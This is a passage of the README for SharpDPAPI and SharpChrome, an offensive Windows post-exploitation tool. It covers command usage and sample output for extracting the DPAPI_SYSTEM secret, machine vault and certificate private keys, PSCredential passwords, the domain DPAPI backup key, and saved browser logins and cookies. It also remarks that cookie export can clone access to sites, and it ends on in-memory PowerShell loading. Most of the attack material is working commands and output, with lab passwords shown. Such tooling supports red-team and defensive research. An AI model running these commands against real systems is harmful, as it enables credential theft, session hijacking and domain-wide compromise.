[*] Elevating to SYSTEM via token duplication fo
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD084
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD084

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4
...(snip)...


[*] Triaging System Credentials


Folder       : C:\WINDOWS\System32\config\syster

  CredFile           : C73A55F92FAE222C18A8989FI

    guidMasterKey    : {1cb83cb5-96cd-445d-baac
    size             : 544
    flags            : 0x20000000 (CRYPTPROTECT_
    algHash/algCrypt : 32782/26128
    description      : Local Credential Data

    LastWritten      : 3/24/2019 7:08:43 PM
    TargetName       : Domain:batch=TaskSchedul
    TargetAlias      :
    Comment          :
    UserName         : TESTLAB\harmj0y
    Credential       : Password123!


Folder       : C:\WINDOWS\ServiceProfiles\Local

  CredFile           : DFBE70A7E5CC19A398EBF1B9

    ...(snip)...
```

machinevaults

The **machinevaults** command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Vaults.

Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).

```
C:\Temp>SharpDPAPI.exe machinevaults

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Vault Triage

[*] Elevating to SYSTEM via token duplication f
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD08
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD08

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4
...(snip)...


[*] Triaging SYSTEM Vaults


[*] Triaging Vault folder: C:\WINDOWS\System32\

  VaultID            : 4bf4c442-9b8a-41a0-b380-
  Name               : Web Credentials
    guidMasterKey    : {0bd732d9-c396-4f9a-a69a
    size             : 324
    flags            : 0x20000000 (CRYPTPROTECT_
    algHash/algCrypt : 32782/26128
    description      :
```

```
    aes128 key       : 74CE3D7BCC4D0C4734931041
    aes256 key       : B497F57730A2F29C3533B76B

...(snip)...
```

certificates /machine

The **certificates /machine** command will use the machine certificate store to look for decryptable machine certificate private keys. `/mkfile:X` and `{GUID}:masterkey` are usable with the `/target:\[file|folder\]` command, otherwise SharpDPAPI will elevate to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine system encrypted DPAPI private certificate keys.

By default, only private keys linkable to an associated installed certificate are displayed. The `/showall` command will display ALL decrypted private keys.

Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).

```
C:\Temp>SharpDPAPI.exe certificates /machine


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0



[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication f
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD08
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD08
[*] SYSTEM master key cache:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121E


[*] Triaging System Certificates


Folder       : C:\ProgramData\Microsoft\Crypto\

  File               : 9377cea385fa1e5bf7815ee2

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a
    Master Key GUID  : {f12f57e1-dd41-4daa-88f1
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : aa8c9e4849455660fc5fc965
    HMAC             : 9138559ef30fbd70808dca2c
    Unique Name      : te-Machine-50500b00-fddb

    Thumbprint       : A82ED8207DF6BC16BB65BF6A
    Issuer           : CN=theshire-DC-CA, DC=th
    Subject          : CN=dev.theshire.local
    Valid Date       : 2/22/2021 3:50:43 PM
    Expiry Date      : 2/22/2022 3:50:43 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.
         [!] Certificate is used for client aut
        Server Authentication (1.3.6.1.5.5.7.3.

    [*] Private key file 9377cea385fa1e5bf7815e

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----
```

machinetriage

The **machinetriage** command runs the user machinecredentials, machinevaults, and certificates /machine commands.

Misc

ps

The **ps** command will describe/decrypt an exported PSCredential clixml. A `/target:FILE.xml` *must* be supplied.

The command will a) decrypt the file with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.

The `/unprotect` flag will use CryptUnprotectData() to decrypt the credenial .xml without masterkeys needed, *if* the command is run from the user context who saved the passwords. This can be done from an *unprivileged* context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

Decrypt an exported credential .xml using CryptProtectData() (the `/unprotect` flag):

```
PS C:\Temp> $SecPassword = ConvertTo-SecureStri
PS C:\Temp> New-Object System.Management.Automa
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml
```

```
    CredFile          : C:\Temp\cred.xml
    Accessed          : 7/25/2019 11:53:09 AM
    Modified          : 7/25/2019 11:53:09 AM
    User Name         : TESTLAB\user
    guidMasterKey     : {0241bc33-44ae-404a-b05d
    size              : 170
    flags             : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115
    description       :
    Password          : Password123!
```

Using domain {GUID}:SHA1 masterkey mappings:

```
PS C:\Temp> $SecPassword = ConvertTo-SecureStri
PS C:\Temp> New-Object System.Management.Automa
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0



[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage ma

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E48187

    CredFile          : C:\Temp\cred.xml
    Accessed          : 7/25/2019 12:04:12 PM
    Modified          : 7/25/2019 12:04:12 PM
    User Name         : TESTLAB\user
    guidMasterKey     : {0241bc33-44ae-404a-b05d
    size              : 170
    flags             : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115
    description       :
    Password          : Password123!
```

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

```
PS C:\Temp> $SecPassword = ConvertTo-SecureStri
PS C:\Temp> New-Object System.Management.Automa
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp


   __                 _   _       _ ___
  (_  |_   _. ._ ._  | \ |_) /\  |_) |
  __) | | (_| |  |_) |_/ |  /--\ |  _|_
                 |
   v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage ma

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E48187

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115
    description      :
    Password         : Password123!
```

blob

The **blob** command will describe/decrypt a DPAPI blob. A `/target:<BASE64|blob.bin>` *must* be supplied.

The command will a) decrypt the blob with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a

`/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.

The `/unprotect` flag will use CryptUnprotectData() to decrypt the blob without masterkeys needed, *if* the command is run from the user context who saved the passwords. This can be done from an *unprivileged* context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

Decrypt a blob using CryptProtectData() (the `/unprotect` flag):

```
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blol

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

    guidMasterKey    : {0241bc33-44ae-404a-b05d
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115
    description      :
    dec(blob)        : Password123!
```

Using domain {GUID}:SHA1 masterkey mappings:

```
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blol

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

    guidMasterKey    : {0241bc33-44ae-404a-b05d
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F
```

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

```
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blo


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe DPAPI blob

[*] Using a domain DPAPI backup key to triage m

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E48187

    guidMasterKey    : {0241bc33-44ae-404a-b05d
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F
```

backupkey

The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach from Mimikatz. This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)

Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.

The `/nowrap` flag will prevent wrapping the base64 key on display.

This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' **dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk** module, or used in blob/file /pvk:X form with the **masterkeys**, **credentials**, or **vault** SharpDPAPI commands.

By default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`.

Retrieve the DPAPI backup key for the current domain controller:

```
C:\Temp>SharpDPAPI.exe backupkey


   __                 _   _       _ ___
  (_  |_   _. ._ ._  | \ |_) /\  |_) |
  __) | | (_| |  |_) |_/ |  /--\ |  _|_
                 |
   v1.2.0



[*] Action: Retrieve domain DPAPI backup key



[*] Using current domain controller  : PRIMARY.
[*] Preferred backupkey Guid         : 32d021e7
[*] Full preferred backupKeyName     : G$BCKUPK
[*] Key :
          HvG1sAAAAAABAAAAAAAAAAAAACUBAAABwIAA
```

Retrieve the DPAPI backup key for the specified DC, outputting the backup key to a file:

```
C:\Temp>SharpDPAPI.exe backupkey /server:primar


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0



[*] Action: Retrieve domain DPAPI backup key



[*] Using server                     : primary.
[*] Preferred backupkey Guid         : 32d021e7
[*] Full preferred backupKeyName     : G$BCKUPK
[*] Backup key written to            : key.pvk
```

search

The **search** command will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage:

```
SharpDPAPI.exe search /type:registry [/path:HKL
SharpDPAPI.exe search /type:folder /path:C:\pat
SharpDPAPI.exe search /type:file /path:C:\path\
SharpDPAPI.exe search /type:base64 [/base:<base
```

The `search` command works by searching for the following bytes, which represent the header (Version + DPAPI provider GUID) of DPAPI blob structure:

```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF,
```

The search command has different arguments depending on the data type being scanned. To designate the data type, use the `/type` argument specifying `registry`, `folder`, `file`, or `base64`. If the `/type` argument is not present, the command will search the registry by default.

When searching the registry with no other arguments, the command will recursively search the HKEY_LOCAL_MACHINE and HKEY_USERS hives. Use `/path` parameter to specify a root to key to search from (e.g. `/path:HKLM\Software`) and use the `/showErrors` argument to display errors that occuring during enumeration.

When searching a file or folder, specify a path with `/path:C:\Path\to\file\or\folder` and optionally use `/maxBytes:<int>` to specify the number of bytes to read from each file (default: 1024 bytes). The command will read the bytes from the beginning of the file and search for DPAPI blobs. Use `/showErrors` to display an errors that occur during enumeration.

When searching a base64 blob, specify the base64-encoded bytes to scan with the `/base64:<base64 str>` parameter.

SCCM

If elevated on a machine that is an SCCM client, if the SCCM environment is configured with a Network Access Account (NAA), the system master key-protected DPAPI blobs containing the NAA credentials can be retrieved via WMI; The **SCCM** command will query the blobs via WMI, retrieve the system master keys, and decrypt the blobs.

SharpChrome Commands

logins

The **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged.

Login Data files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.

A specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` or `/password` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified.

By default, logins are displayed in a csv format. This can be modified with `/format:table` for table output. Also, by default only non-null password value entries are displayed, but all values can be displayed with `/showall`.

If run from an elevated context, Login Data files for ALL users will be triaged, otherwise only Login Data files for the current user will be processed.

cookies

The **cookies** command will search for Chromium 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. You can change the target application using the `/browser:<VALUE>` (e.g., edge, brave, slack).

Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.

A specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` or `/password` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified.

By default, cookies are displayed in a csv format. This can be modified with `/format:table` for table output, or `/format:json` for output importable by EditThisCookie. Also, by default only non-expired cookie value entries are displayed, but all values can be displayed with `/showall`.

If run from an elevated context, Cookie files for ALL users will be triaged, otherwise only Cookie files for the current user will be processed.

The **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to only return cookie names or urls matching the supplied regex. This is useful with `/format:json` to easily clone access to specific sites.

statekeys

By default, the **statekeys** command will search for Chromium-based applications (Google Chrome, Edge, Brave, and Slack), locate their AES statekey files (e.g., 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State'), and decrypt them using the same type of arguments that can be supplied for `cookies` and `logins`. You may also supply the path to a specific state-key file using the `/target:` parameter (e.g., `"/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State"`).

State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.

If run from an elevated context, state keys for ALL users will be triaged, otherwise only state keys for the current user will be processed.

backupkey

The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach from Mimikatz. This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)

Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.

The `/nowrap` flag will prevent wrapping the base64 key on display.

This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' **dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk** module, or used in blob/file /pvk:X form with the **masterkeys**, **credentials**, or **vault** SharpDPAPI commands.

By default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`.

Compile Instructions

We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :)

SharpDPAPI has been built against .NET 3.5 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build.

Targeting other .NET versions

SharpDPAPI's default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target SharpDPAPI for .NET 4 or 4.5, open the .sln solution, go to **Project** -> **SharpDPAPI Properties** and change the "Target framework" to another version.

Sidenote: Running SharpDPAPI Through PowerShell

If you want to run SharpDPAPI in-memory through a PowerShell wrapper, first compile the SharpDPAPI and base64-encode the resulting assembly:

```
[Convert]::ToBase64String([IO.File]::ReadAllByt
```

SharpDPAPI can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded SharpDPAPI assembly string):